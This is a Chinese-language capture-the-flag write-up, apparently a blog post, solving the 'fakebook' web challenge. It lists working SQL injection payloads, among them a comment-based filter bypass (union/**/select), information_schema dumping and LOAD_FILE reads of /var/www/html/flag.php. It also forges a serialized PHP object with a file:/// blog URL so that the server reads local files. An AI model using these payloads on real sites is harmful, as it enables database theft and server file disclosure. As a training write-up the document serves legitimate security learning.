攻防世界fakebook

fakebook

拿到题目,发现页面上有两个按钮,一个为join,另外一个为login,可能在注册登录界面存在注入漏洞,首先查看join。
在这里插入图片描述
先扔到sqlmap里面跑一波,但长时间没启动了,sqlmap坏了,没办法,手动注入吧。
先注册一个账号试试,用admin,看看admin是否能被注册,发现真的可以,但是似乎并没有什么卵用,不要忘了一个习惯,扫描。
结果发现了如下几个文件:

flag.php
flag.phps
robots.txt
view.php
login.php
join.php

访问一下注册的账户,发现系统会对注册时的blog链接进行访问,而且会对blog的格式进行正则匹配。
http://111.200.241.244:63593/view.php?no=2
看到这个很难不让我们想到文件包含和sql注入,一个一个试试,将no=3,发现了报错内容,尝试报错注入。

no=2 and 1=1%23
no=2 and 1=2%23

在这里插入图片描述
回显不同,存在报错注入,第一步,先判断原sql语句查询的字段数,页面上就显示3个,那字段数肯定从3起步了。分别测试3,4,5后。可以判断SQL语句查询字段数为4,大概猜也能猜个差不多,应该就是注册时候的用户名、年龄、密码、blog。

no=2 order by 3%23
no=2 order by 4%23
no=2 order by 5%23

在测试5时发现了错误,显示只有四个字段。发现了db.php
尝试联合注入,union select 语句。

no=2 union select 1,2,3,4#

发现出现了阻拦,尝试绕过
在这里插入图片描述

view.php?no=3 UniOn select 1,2,3,4#
view.php?no=3 union SelEct 1,2,3,4#
view.php?no=3 uunionnion selselectect 1,2,3,4#
 
view.php?no=3 union/**/select 1,2,3,4#
view.php?no=3 union++select 1,2,3,4#

发现/**/++可以绕过,测试/**/与++作用

mysql> select sno,cno from sc where cno=1001278964 union/**/select 1,2;
+-----+-----+
| sno | cno |
+-----+-----+
| 1   | 2   |
+-----+-----+
1 row in set (0.00 sec)
mysql> select sno,cno from sc where cno=1001278964 union/*2*/select 1,2;
+-----+-----+
| sno | cno |
+-----+-----+
| 1   | 2   |
+-----+-----+
1 row in set (0.00 sec)

/**/起到注释的作用,但是++就没能起到查询出结果,不知道为什么题目却可以

mysql> select sno,cno from sc where cno=1001278964 union++select 1,2;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
 for the right syntax to use near '++select 1,2' at line 1
mysql> select sno,cno from sc where cno=1001278964 union+2+select 1,2;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version
 for the right syntax to use near '+2+select 1,2' at line 1

view.php?no=3 union/**/select 1,2,3,4#
在这里插入图片描述
发现字段2是个回显点,查看数据库名称和用户

no=3 union/**/select 1,database(),3,4%23
no=3 union/**/select 1,user(),3,4%23

显示到用户为root,而数据库为fakebook,看来可以试试最高权限的读取了。

在MySQL中,LOAD_FILE()函数读取一个文件并将其内容作为字符串返回。
语法

LOAD_FILE(file_name)

其中file_name是文件的完整路径。

例如:

SELECT LOAD_FILE('/data/test.txt') AS Result;

所以构造如下语句,查看flag.php,路径在报错中已经给出

no=3 union/**/select 1,load_file('/var/www/html/flag.php'),3,4%23

查看页面源码,获得flag

第二种做法
题目中给的一个备份文件一直没有用到,看一下备份文件内容

它会对url进行curl_exec(),如果将获取到的url进行curl并将结果保存到&output变量,如果状态码不是404,返回output变量。我们是不是可以构造一波blog,来达到命令执行的效果呢?但是不知如何构造。
先来看看数据库的表和字段

no=3 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="fakebook"# 
表名(users)

no=3 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="users"#
字段(no,username,passwd,data,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS )

发现了data字段,很可疑,拿出来看看

no=3 union/**/select 1,group_concat(username,passwd,data),3,4 from users where no=1#


在data里面,存在序列化后的数据,O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:11;s:4:"blog";s:11:"qwe.qqq.com";}
页面报错提示反序列化失败了,如果将查询改为序列化后的语句,结果应该可以正常回显

no=3%20union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:11;s:4:"blog";s:11:"qwe.qqq.com";}'

注意no现在的值为3,我们知道这个用户是不存在的。换而言之,原SQL语句的查询结果为空,而我们通过union加入了我们构造的查询语句,让SQL语句有了查询结果,并且此查询结果符合页面渲染要求,所以页面正常显示了。

并且由此得知,只要有data字段的对象序列,就可以成功渲染页面,其他字段并不是很重要。(页面中age和blog的值,显然也都是从序列化的对象里面得到的)

用file伪协议读取flag内容交给blog参数,然后再查看源码,iframe的src就发生了变化

no=3%20union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:5:"admin";s:3:"age";i:11;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

查看源码发现data发生了变化,点击base64编码,发现了flag
getBlogContent函数,我们猜也是个获取blog内容的函数。而其内部调用了我们一开始就说有问题的get函数,接受一个url,并将指定url的内容返回。换而言之,只要blog参数是可以请求到内容,返回不为404的,getBlogContents函数即有返回结果。毫无疑问,伪协议file就能达到要求。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值